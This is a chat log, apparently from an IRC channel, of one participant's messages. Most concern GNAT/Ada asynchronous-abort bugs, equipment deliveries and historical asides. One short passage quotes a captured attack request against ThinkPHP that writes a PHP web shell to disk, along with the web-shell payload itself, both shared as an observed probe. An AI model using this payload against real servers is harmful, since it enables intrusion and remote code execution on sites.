log☇︎
18200+ entries in 0.003s
asciilifeform: ah no, ~those~ work for async-select
asciilifeform: inside the loop, that is
asciilifeform: mircea_popescu: it only worx if you http://btcbase.org/log/2019-02-12#1895105 (i.e. add a 'delay' or i/o instruction (interestingly, the latter always work as abort-point , but only for the async select method ) ☝︎
asciilifeform: mircea_popescu: 'abort point' control transfer aint 'zero cost', lol, it adds cost to ~loops~
asciilifeform: lol
asciilifeform: mircea_popescu: still eating log, not yet seen what diana_coman is baking
asciilifeform: btw this is why i sewed ffa into a linkable lib. ~it~ can still be built with restrictions even if running inside a proggy with tasks etc
asciilifeform: gotta test
asciilifeform: *cacheistically
asciilifeform: http://btcbase.org/log/2019-02-12#1895234 << ffa uses exceptions strictly as 'fucking stop whole program (and if it's running on a micro, whole machine, and flash 'dead!' lamp) right nao!' , so won't impact. my understanding is that it'd impact only speed of the ~exceptions~, longjump is slower cuz it crosses pages -- cachaistically. ☝︎☟︎
asciilifeform: http://btcbase.org/log/2019-02-12#1895209 << i saw similar, but did not find why. loox like it's explained downthread ☝︎
asciilifeform eats log..
asciilifeform: approx same thing..
asciilifeform: it aint any dumber than dmcaism tho
asciilifeform: lol! these!
asciilifeform: then can link to same .
asciilifeform: i'ma document the fuckwaddery ( unless diana_coman beat me to it )
asciilifeform: but sure.
asciilifeform: i got an entire mmap lib that aint genesisable yet on acct of above
asciilifeform: mircea_popescu: when you get'em tied to the flogging post, make'em pay for the http://btcbase.org/log/2018-10-26#1866266 also.. ☝︎
asciilifeform: will see what diana_coman dug out also, whoknows maybe i botched it somehow
asciilifeform: it's fuckinoutrageous
asciilifeform: mircea_popescu: i'ma article about it when i finish up raging
asciilifeform: it's how the thing fans out to N jacks ☟︎
asciilifeform: mod6: all known usb chipsets have 'internal hub'
asciilifeform bbl,meats
asciilifeform: hrm, also gotta add -- if the delay-powered self-destruct is made to work, then so will async killing (given as it dun have to be 'delay', can be triggered by 'entry', i.e. flag, just the same )
asciilifeform will return to this puzzler when returns.
asciilifeform: for total thread-completeness, there is a workaround that works, but it is imho ugly ( ada 'interrupts' package ), i'ma post example if mircea_popescu et al ask. ☟︎
asciilifeform: specifically ch. 9.
asciilifeform: ( burns & wellings, '07 )
asciilifeform: relatedly to entire subj, http://nosuchlabs.com/pub/warez/burns.djvu is the most readable ref i've found on the subj (of how the thing is supposed to work, that is , when actually worx ) ☟︎
asciilifeform: ( the thing ~contains~ pthread_kill ! but it dun get called for somereason. )
asciilifeform: i suspect this is gonna be a '1-line' patch, to fix. q is where.. ☟︎
asciilifeform: it may even be worth the sweat to excavate an older gnat and see whether similar.
asciilifeform: i'ma post moar detail as i find it, gotta recharge head 1st.
asciilifeform: http://www.loper-os.org/pub/ffa/gnatology/ave1gnat/index.htm << linked for the log. cross-indexing dunwork currently, as the damn thing aint a gpr project, but currently i dun have time to try to massage it into one , promises to be a week-long shitfest on its own
asciilifeform: nao ideally would find where the fuck they broke the (implemented!!! in gnat) annex D Right Thing
asciilifeform: http://p.bvulpes.com/pastes/AOh7Z/?raw=true << example.
asciilifeform: diana_coman et al : meanwhile in useful debugologies : if you use gpr with gnatD flag , you get copies of the expanded sores of yer proggy
asciilifeform: currently i suspect that adacorpse deliberately broke it, this is ~the~ pheature they use to peddle their 'pro' gnat (specifically advertised as 'support of real-time annex' )
asciilifeform: nao clearly the thing is broken, it dun actually do what the standard demands. ( guess what else dunwork ? 'asynchronous select' , also required to work by the standard, and even within bounded time ) . nao remains to find wtf ☟︎
asciilifeform: and in particular, ln. 1079 of s-taprop-linux.adb , which implements the pthread mechanics behind the gnat scheduler
asciilifeform: ln. 163 of s-tasini.adb ;
asciilifeform: turns out that yes implements:
asciilifeform: so then went to the standard docs. annex D ~in fact does~ mandate support for mircea_popescu-style 'halon switch, motherfucker' aborts. so then went to find , does gnat implement ?
asciilifeform: http://p.bvulpes.com/pastes/svUIo/?raw=true << same, but with 'delay 0.0' -- succeeds. variant of same with an i/o call : also succeeds ☟︎☟︎
asciilifeform: http://p.bvulpes.com/pastes/WoRXQ/?raw=true << empty loop. timeout : fails
asciilifeform: sooo went to experiment, and found that not only does diana_coman's async abort dunwork on ave1gnat , but even ordinary timeout abort behaves peculiarly (per the std) :
asciilifeform: diana_coman, mircea_popescu , et al : results of experiment & gnat src archaeology below :
asciilifeform: shinohai: mirrored nao at dulap, http://nosuchlabs.com/pub/liquishit/btcotclogs.tar.gz .
asciilifeform: whole battalion of derps fighting over pocket change, bloviating over 'security' and 'p2p', etc
asciilifeform: lol i took a look at these, whole parallel world where '2011 4evah'
asciilifeform: lolk
asciilifeform: 'mmmmrrrghmmmm!!' 'are you sucking on a gag??' 'nah why didjaask'
asciilifeform: ?
asciilifeform: * derp is now known as shinohai
asciilifeform: * shinohai is now known as derp
asciilifeform: shinohai: lost yer key or wat ..?
asciilifeform: iirc most of the mass is pb in the cabinet.
asciilifeform: ( as it was -- coupla hundy, + same for the trucker's fee )
asciilifeform: i dun have the ccd option tho, for some reason these cost weight in gold
asciilifeform: https://archive.is/MjEpi << dealer specs, ftr
asciilifeform: mircea_popescu: it aint a 'sexy' looking item, really, resembles mini fridge , only with buttons/lcd thing
asciilifeform: mircea_popescu: only ~70kg, but slippery fucker, wrapped in kilometre of cellophane
asciilifeform: lol
asciilifeform: aaand it's done.
asciilifeform brb, the crane truck is here
asciilifeform: in 'nikita the peon' incident, is remembered largely because, per the chronicle, ivan iv was present, and clapped, but proclaimed 'it is unbecoming of man to imitate the birds'
asciilifeform: ( what's worse than 'straw & cardboard airplane' ? straw&cardboard that ~worx~, for 1 flight, and for no -- accessible to orc -- logical reason )
asciilifeform: supposedly didn't even splat. coupla would-be imitators (as late as 18th) did, tho
asciilifeform: 16th c.
asciilifeform: hrm, apparently not in l0gz.
asciilifeform: !#s холоп Никита
asciilifeform: i dun think there were that many recorded ( can only think of 2 right off memory )
asciilifeform: specifically-'flight'-flavoured
asciilifeform: y'know, where derp jumps from belltower with 'wings'
asciilifeform: speaking of these -- did anybody ever properly catalogue all known various attempts to 'replicate daedalus' ?
asciilifeform: ( if one were to ask monkey -- it's shit allthewaydown(tm) )
asciilifeform: white man, if legend is to be believed, built the temple walls , but in living memory nobody's seen'em beneath the monkey shit.
asciilifeform: erry bit equally african.
asciilifeform: mircea_popescu: there's 2 'symbiotic' sets of africans involved, 'voodoo' and 'hoodoo' practitioners, if you will
asciilifeform: it's a snoar, straight trigger for pre-emplaced booby, decorated to get past some idjit ids thing somewhere
asciilifeform: fwiw.
asciilifeform: payload, btw, is CnluXun<?php @eval($_POST['lx']);?>
asciilifeform: s=index/\think\view\driver\Php/display&content=${@print(eval(phpinfo().fputs(fopen('lx.php','w'),base64_decode('Q25sdVh1bjw/cGhwIEBldmFsKCRfUE9TVFsnbHgnXSk7Pz4='))))} << lulzy
asciilifeform: will prolly take asciilifeform a coupla days to hoist it on the pedestal and test, tho, conveyor is currently packed
asciilifeform: http://btcbase.org/log/2019-02-11#1895025 << ha. speaking of which, the particle thrower is to arrive today. ☝︎
asciilifeform: http://btcbase.org/log/2019-02-11#1895021 << i saw nearly half MB of these in dulap log not long ago. iirc they're pill for ciscoisms ☝︎
asciilifeform: guten morgen mircea_popescu !
asciilifeform: diana_coman: i found in my notes from 'programming of hell' a possible pill for the async stop thing, will report once i verify that it actually cures , on the actual gnat
asciilifeform: imho the traditional kitchen-toilet system is inherently unhygienic
asciilifeform: i.e. fully an' properly separate rasterism from the comp per se, never buy video cards again..
asciilifeform: phf et al : 1 of asciilifeform's ancient backburner crackpotteries is... an iron x terminal. ( these -- existed, but would be imho useful to have a proper one, that 1) runs off rom 2) can drive N large displays )
asciilifeform bbl , horizontal
asciilifeform: mircea_popescu: a++ plantator hat
asciilifeform: http://btcbase.org/log/2019-02-11#1894887 << i have not forgotten you, mod6 ! will grant wishes in the order lamp was rubbed, promise ☝︎☟︎
asciilifeform: diana_coman et al : http://p.bvulpes.com/pastes/4SpwP/?raw=true << built, replicated test jig; i'ma lay the thing out on vivisection table properly after sleep ( spent today , among other things, fixing a furnace, bent wrists out , gotta let'em snap back )
asciilifeform: but nao i gotta, because it is exactly apropos
asciilifeform: this was so depressing, i did not even put in log